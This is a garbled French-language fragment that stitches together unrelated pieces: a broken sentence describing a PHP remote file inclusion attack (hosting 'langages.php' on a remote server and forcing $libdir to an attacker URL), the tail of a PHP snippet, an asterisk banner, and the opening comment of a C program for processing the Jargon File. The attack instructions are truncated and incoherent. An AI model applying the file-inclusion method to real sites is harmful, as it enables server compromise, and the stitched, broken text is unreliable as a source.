langages.php sur un serveur web distant et y dépose le code suivant : et construire l'url en forcant la declaration de $libdir avec la valeur "http://
|
$j = new jargon($strict); $j ->out("out"); ?>******************************************************************************** ******************************************************************************** ******************************************************************************** ******************************************************************************** FICHIER : jarg.c USAGE : ligne de commande REQUIERT : Fichier jargon file, compilateur C, lecture du code ******************************************************************************** ******************************************************************************** ******************************************************************************** ******************************************************************************** /* * Program to process the Jargon File (v 2.9.12.1+) * Gives fortunes, searches for keywords, creates index * still doesn't make coffee... * * Copyright (c) 1992-1999 Kai Risku